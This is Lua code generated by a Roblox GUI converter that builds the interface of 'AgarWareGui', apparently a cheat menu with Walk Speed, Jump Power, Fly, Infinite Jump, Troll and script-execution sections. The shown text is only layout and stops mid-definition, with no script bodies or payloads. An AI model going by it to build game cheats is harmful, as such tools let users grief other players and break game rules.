--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 876 | Scripts: 169 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.AgarWareGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["DisplayOrder"] = 999999999; G2L["1"]["Name"] = [[AgarWareGui]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; G2L["1"]["ResetOnSpawn"] = false; -- StarterGui.AgarWareGui.MoveToCorGui G2L["2"] = Instance.new("LocalScript", G2L["1"]); G2L["2"]["Name"] = [[MoveToCorGui]]; -- StarterGui.AgarWareGui.ChatQueue G2L["3"] = Instance.new("LocalScript", G2L["1"]); G2L["3"]["Name"] = [[ChatQueue]]; -- StarterGui.AgarWareGui.Execution G2L["4"] = Instance.new("LocalScript", G2L["1"]); G2L["4"]["Name"] = [[Execution]]; -- StarterGui.AgarWareGui.UnloadBLACKLIST G2L["5"] = Instance.new("LocalScript", G2L["1"]); G2L["5"]["Name"] = [[UnloadBLACKLIST]]; -- StarterGui.AgarWareGui.GriefDetectorConsole G2L["6"] = Instance.new("LocalScript", G2L["1"]); G2L["6"]["Name"] = [[GriefDetectorConsole]]; -- StarterGui.AgarWareGui.DropdownMaster G2L["7"] = Instance.new("LocalScript", G2L["1"]); G2L["7"]["Name"] = [[DropdownMaster]]; -- StarterGui.AgarWareGui.contorl them G2L["8"] = Instance.new("LocalScript", G2L["1"]); G2L["8"]["Name"] = [[contorl them]]; -- StarterGui.AgarWareGui.MainFrame G2L["9"] = Instance.new("Frame", G2L["1"]); G2L["9"]["Active"] = true; G2L["9"]["ZIndex"] = 10; G2L["9"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23); G2L["9"]["Selectable"] = true; G2L["9"]["Size"] = UDim2.new(0, 450, 0, 300); G2L["9"]["Position"] = UDim2.new(0.31666, -232, 0.20818, 128); G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 124, 255); G2L["9"]["Name"] = [[MainFrame]]; -- StarterGui.AgarWareGui.MainFrame.UIPadding G2L["a"] = Instance.new("UIPadding", G2L["9"]); G2L["a"]["PaddingLeft"] = UDim.new(0, 8); -- StarterGui.AgarWareGui.MainFrame.SideBar G2L["b"] = Instance.new("ScrollingFrame", G2L["9"]); G2L["b"]["ScrollingDirection"] = Enum.ScrollingDirection.Y; G2L["b"]["CanvasSize"] = UDim2.new(0, 0, 1, 0); G2L["b"]["ScrollingEnabled"] = false; G2L["b"]["Name"] = [[SideBar]]; G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["AutomaticCanvasSize"] = Enum.AutomaticSize.Y; G2L["b"]["Size"] = UDim2.new(0, 60, 0, 266); G2L["b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["Position"] = UDim2.new(0, 0, 0.08667, 0); G2L["b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["b"]["ScrollBarThickness"] = 0; -- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler G2L["c"] = Instance.new("LocalScript", G2L["b"]); G2L["c"]["Name"] = [[PageHandler]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.UIListLayout G2L["d"] = Instance.new("UIListLayout", G2L["b"]); G2L["d"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.SideBar.UIPadding G2L["e"] = Instance.new("UIPadding", G2L["b"]); -- StarterGui.AgarWareGui.MainFrame.SideBar.MainPG G2L["f"] = Instance.new("TextButton", G2L["b"]); G2L["f"]["TextWrapped"] = true; G2L["f"]["TextSize"] = 12; G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["f"]["LayoutOrder"] = 1; G2L["f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["f"]["Text"] = [[Main]]; G2L["f"]["Name"] = [[MainPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.SettingsPG G2L["10"] = Instance.new("TextButton", G2L["b"]); G2L["10"]["TextWrapped"] = true; G2L["10"]["TextSize"] = 12; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["10"]["LayoutOrder"] = 2; G2L["10"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["10"]["Text"] = [[Settings]]; G2L["10"]["Name"] = [[SettingsPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.VisualPG G2L["11"] = Instance.new("TextButton", G2L["b"]); G2L["11"]["TextSize"] = 12; G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["11"]["LayoutOrder"] = 4; G2L["11"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["11"]["Text"] = [[Visual]]; G2L["11"]["Name"] = [[VisualPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG G2L["12"] = Instance.new("TextButton", G2L["b"]); G2L["12"]["TextWrapped"] = true; G2L["12"]["TextSize"] = 12; G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["12"]["LayoutOrder"] = 3; G2L["12"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["12"]["Text"] = [[TCO]]; G2L["12"]["Name"] = [[TCOPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame G2L["13"] = Instance.new("LocalScript", G2L["12"]); G2L["13"]["Name"] = [[TCOIngame]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.MiscPG G2L["14"] = Instance.new("TextButton", G2L["b"]); G2L["14"]["TextSize"] = 12; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["14"]["LayoutOrder"] = 6; G2L["14"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["14"]["Text"] = [[Misc]]; G2L["14"]["Name"] = [[MiscPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.MenuPG G2L["15"] = Instance.new("TextButton", G2L["b"]); G2L["15"]["TextWrapped"] = true; G2L["15"]["TextSize"] = 12; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["15"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["15"]["Text"] = [[MENU]]; G2L["15"]["Name"] = [[MenuPG]]; -- StarterGui.AgarWareGui.MainFrame.SideBar.TrollPG G2L["16"] = Instance.new("TextButton", G2L["b"]); G2L["16"]["TextSize"] = 12; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["Size"] = UDim2.new(0, 60, 0, 25); G2L["16"]["LayoutOrder"] = 5; G2L["16"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["16"]["Text"] = [[Troll]]; G2L["16"]["Name"] = [[TrollPG]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea G2L["17"] = Instance.new("Frame", G2L["9"]); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["Size"] = UDim2.new(0, 365, 0, 266); G2L["17"]["Position"] = UDim2.new(0.15385, 0, 0.08667, 0); G2L["17"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["17"]["Name"] = [[ContentArea]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage G2L["18"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["18"]["Visible"] = false; G2L["18"]["Active"] = true; G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["18"]["Name"] = [[MainPage]]; G2L["18"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["18"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["18"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["ScrollBarThickness"] = 0; G2L["18"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide G2L["19"] = Instance.new("Frame", G2L["18"]); G2L["19"]["BorderSizePixel"] = 0; G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["19"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["19"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["Name"] = [[MainLeftSide]]; G2L["19"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.UIListLayout G2L["1a"] = Instance.new("UIListLayout", G2L["19"]); G2L["1a"]["Padding"] = UDim.new(0, 7); G2L["1a"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup G2L["1b"] = Instance.new("Frame", G2L["19"]); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["1b"]["BorderMode"] = Enum.BorderMode.Middle; G2L["1b"]["Size"] = UDim2.new(0, 170, 0, 120); G2L["1b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1b"]["Name"] = [[MovementGroup]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); G2L["1c"]["Name"] = [[MovementScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.UIListLayout G2L["1d"] = Instance.new("UIListLayout", G2L["1b"]); G2L["1d"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementAccentColor G2L["1e"] = Instance.new("Frame", G2L["1b"]); G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["1e"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["1e"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["1e"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["1e"]["Name"] = [[MovementAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle G2L["1f"] = Instance.new("TextLabel", G2L["1b"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextScaled"] = true; G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["1f"]["BackgroundTransparency"] = 0.95; G2L["1f"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[Movement]]; G2L["1f"]["LayoutOrder"] = 1; G2L["1f"]["Name"] = [[MovementTitle]]; G2L["1f"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle.MovementMinimize G2L["20"] = Instance.new("TextButton", G2L["1f"]); G2L["20"]["BorderSizePixel"] = 0; G2L["20"]["TextSize"] = 14; G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20"]["BackgroundTransparency"] = 1; G2L["20"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["Text"] = [[-]]; G2L["20"]["Name"] = [[MovementMinimize]]; G2L["20"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow G2L["21"] = Instance.new("Frame", G2L["1b"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["21"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Name"] = [[WalkspeedRow]]; G2L["21"]["LayoutOrder"] = 3; G2L["21"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedTickBox G2L["22"] = Instance.new("TextButton", G2L["21"]); G2L["22"]["TextSize"] = 14; G2L["22"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["22"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["22"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["22"]["Text"] = [[]]; G2L["22"]["Name"] = [[WalkspeedTickBox]]; G2L["22"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedText G2L["23"] = Instance.new("TextLabel", G2L["21"]); G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextSize"] = 14; G2L["23"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["23"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundTransparency"] = 1; G2L["23"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[Walk Speed]]; G2L["23"]["Name"] = [[WalkspeedText]]; G2L["23"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedSpeedChanger G2L["24"] = Instance.new("TextBox", G2L["21"]); G2L["24"]["Name"] = [[WalkspeedSpeedChanger]]; G2L["24"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["24"]["TextWrapped"] = true; G2L["24"]["TextSize"] = 14; G2L["24"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["24"]["TextScaled"] = true; G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24"]["PlaceholderText"] = [[(16)]]; G2L["24"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["24"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["24"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["24"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow G2L["25"] = Instance.new("Frame", G2L["1b"]); G2L["25"]["BorderSizePixel"] = 0; G2L["25"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["25"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["Name"] = [[JumppowerRow]]; G2L["25"]["LayoutOrder"] = 3; G2L["25"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerTickBox G2L["26"] = Instance.new("TextButton", G2L["25"]); G2L["26"]["TextSize"] = 14; G2L["26"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["26"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["26"]["Text"] = [[]]; G2L["26"]["Name"] = [[JumppowerTickBox]]; G2L["26"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerText G2L["27"] = Instance.new("TextLabel", G2L["25"]); G2L["27"]["BorderSizePixel"] = 0; G2L["27"]["TextSize"] = 14; G2L["27"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["27"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["BackgroundTransparency"] = 1; G2L["27"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["Text"] = [[Jump Power]]; G2L["27"]["Name"] = [[JumppowerText]]; G2L["27"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerJumpChanger G2L["28"] = Instance.new("TextBox", G2L["25"]); G2L["28"]["Name"] = [[JumppowerJumpChanger]]; G2L["28"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["28"]["TextWrapped"] = true; G2L["28"]["TextSize"] = 14; G2L["28"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["28"]["TextScaled"] = true; G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28"]["PlaceholderText"] = [[(50)]]; G2L["28"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["28"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["28"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["28"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow G2L["29"] = Instance.new("Frame", G2L["1b"]); G2L["29"]["BorderSizePixel"] = 0; G2L["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["29"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29"]["Name"] = [[FlyRow]]; G2L["29"]["LayoutOrder"] = 3; G2L["29"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyTickBox G2L["2a"] = Instance.new("TextButton", G2L["29"]); G2L["2a"]["TextSize"] = 14; G2L["2a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2a"]["Text"] = [[]]; G2L["2a"]["Name"] = [[FlyTickBox]]; G2L["2a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyText G2L["2b"] = Instance.new("TextLabel", G2L["29"]); G2L["2b"]["BorderSizePixel"] = 0; G2L["2b"]["TextSize"] = 14; G2L["2b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["BackgroundTransparency"] = 1; G2L["2b"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["Text"] = [[Fly]]; G2L["2b"]["Name"] = [[FlyText]]; G2L["2b"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlySpeedChanger G2L["2c"] = Instance.new("TextBox", G2L["29"]); G2L["2c"]["Name"] = [[FlySpeedChanger]]; G2L["2c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["2c"]["TextWrapped"] = true; G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["2c"]["TextScaled"] = true; G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["PlaceholderText"] = [[(50)]]; G2L["2c"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["2c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["2c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2c"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow G2L["2d"] = Instance.new("Frame", G2L["1b"]); G2L["2d"]["BorderSizePixel"] = 0; G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["2d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["Name"] = [[InfJumpRow]]; G2L["2d"]["LayoutOrder"] = 3; G2L["2d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpTickBox G2L["2e"] = Instance.new("TextButton", G2L["2d"]); G2L["2e"]["TextSize"] = 14; G2L["2e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["2e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["2e"]["Text"] = [[]]; G2L["2e"]["Name"] = [[InfJumpTickBox]]; G2L["2e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpText G2L["2f"] = Instance.new("TextLabel", G2L["2d"]); G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["TextSize"] = 14; G2L["2f"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["BackgroundTransparency"] = 1; G2L["2f"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["Text"] = [[Infinite Jump]]; G2L["2f"]["Name"] = [[InfJumpText]]; G2L["2f"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow G2L["30"] = Instance.new("Frame", G2L["1b"]); G2L["30"]["BorderSizePixel"] = 0; G2L["30"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["30"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["30"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["Name"] = [[ShiftLockRow]]; G2L["30"]["LayoutOrder"] = 3; G2L["30"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript G2L["31"] = Instance.new("LocalScript", G2L["30"]); G2L["31"]["Name"] = [[ShiftLockScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockTickBox G2L["32"] = Instance.new("TextButton", G2L["30"]); G2L["32"]["TextSize"] = 14; G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["32"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["32"]["Text"] = [[]]; G2L["32"]["Name"] = [[ShiftLockTickBox]]; G2L["32"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockText G2L["33"] = Instance.new("TextLabel", G2L["30"]); G2L["33"]["BorderSizePixel"] = 0; G2L["33"]["TextSize"] = 14; G2L["33"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["33"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33"]["BackgroundTransparency"] = 1; G2L["33"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["Text"] = [[Mobile Shiftlock]]; G2L["33"]["Name"] = [[ShiftLockText]]; G2L["33"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup G2L["34"] = Instance.new("Frame", G2L["19"]); 